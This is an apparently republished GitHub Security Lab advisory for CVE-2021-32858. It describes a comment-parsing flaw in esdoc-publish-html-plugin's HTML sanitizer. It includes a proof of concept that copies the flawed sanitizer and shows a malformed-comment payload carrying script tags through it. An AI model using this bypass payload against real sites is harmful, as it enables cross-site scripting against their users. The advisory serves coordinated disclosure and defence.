Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2021-32858: GHSL-2021-1034: HTML sanitizer bypass leading to XSS in esdoc-publish-html-plugin - CVE-2021-32858

esdoc-publish-html-plugin is a plugin for the document maintenance software ESDoc. TheHTML sanitizer in esdoc-publish-html-plugin 1.1.2 and prior can be bypassed which may lead to cross-site scripting (XSS) issues. There are no known patches for this issue.

CVE
#xss#nodejs#js#git#java

Coordinated Disclosure Timeline

  • 2021-11-02: Sent report to h13i32maru@gmail.com
  • 2022-03-25: Publishing as per our disclosure policy

Summary

The esdoc-publish-html-plugin HTML sanitizer can be bypassed which may lead to cross-site scripting (XSS) issues.

Product

esdoc-publish-html-plugin

Tested Version

All (latest is 1.1.2).

Details****Issue: Bad HTML sanitizer in esdoc-publish-html-plugin/src/Builder/util.js (GHSL-2021-1034)

The HTML sanitizer is supposed to remove any potentially malicious HTML. For that purpose, it removes any tags or attributes that can execute javascript code. The sanitizer preserves comments, but it misparses what a comment is. The sanitizer assumes that HTML comments look like <!-- comment -->, however comments can also look like <!-- --!>. That can be used to trick the sanitizer into preserving arbitrary HTML content.

The relevant code is here.

Impact

This issue may lead to cross-site scripting

Resources

The vulnerable code is here.

The issue was found using CodeQL.

PoC:

  • npm install marked escape-html

  • Run the below with node

    // ### Copy paste from esdoc-publish-html-plugin/src/Builder/util.js ### const marked = require(‘marked’); const escape = require(‘escape-html’);

    /**

    • convert markdown text to html.
    • @param {string} text - markdown text.
    • @param {boolean} [breaks=false] if true, break line. FYI gfm is not breaks.
    • @return {string} html. */ function markdown(text, breaks = false) { // original render does not support multi-byte anchor const renderer = new marked.Renderer(); renderer.heading = function (text, level) { const id = escapeURLHash(text); return <h${level} id=${id}>${text}</h${level}>; };

    const availableTags = ['span’, 'a’, 'p’, 'div’, 'img’, 'h1’, 'h2’, 'h3’, 'h4’, 'h5’, 'br’, 'hr’, 'li’, 'ul’, 'ol’, 'code’, 'pre’, 'details’, 'summary’, ‘kbd’]; const availableAttributes = ['src’, 'href’, 'title’, 'class’, 'id’, 'name’, 'width’, 'height’, ‘target’];

    const compiled = marked(text, { renderer: renderer, gfm: true, tables: true, breaks: breaks, sanitize: true, sanitizer: (tag) =>{ if (tag.match(/<!–.*–>/)) { return tag; } const tagName = tag.match(/^</?(\w+)/)[1]; if (!availableTags.includes(tagName)) { return escape(tag); }

      const sanitizedTag = tag.replace(/([\w\-]+)=(["'].*?["'])/g, (_, attr, val)=>{
        if (!availableAttributes.includes(attr)) return '';
        /* eslint-disable no-script-url */
        if (val.indexOf('javascript:') !== -1) return '';
        return `${attr}=${val}`;
      });
    
      return sanitizedTag;
    },
    highlight: function(code) {
      // return `<pre class="source-code"><code class="prettyprint">${escape(code)}</code></pre>`;
      return `<code class="source-code prettyprint">${escape(code)}</code>`;
    }
    

    });

    return compiled; }

    console.log(“Foobar”); const str = "<!-- foobar --!> <script>alert(2)</script> --> <script>alert(3)</script>";

    console.log(markdown(str)); // prints: <p><!-- foobar --!> <script>alert(2)</script> --> <script>alert(3)</script></p> // this will show an alert if executed by a browser.

  • CVE-2021-32858

Credit

This issue was discovered and reported by GitHub team member @erik-krogh (Erik Krogh Kristensen).

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-1034 in any communication regarding this issue.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda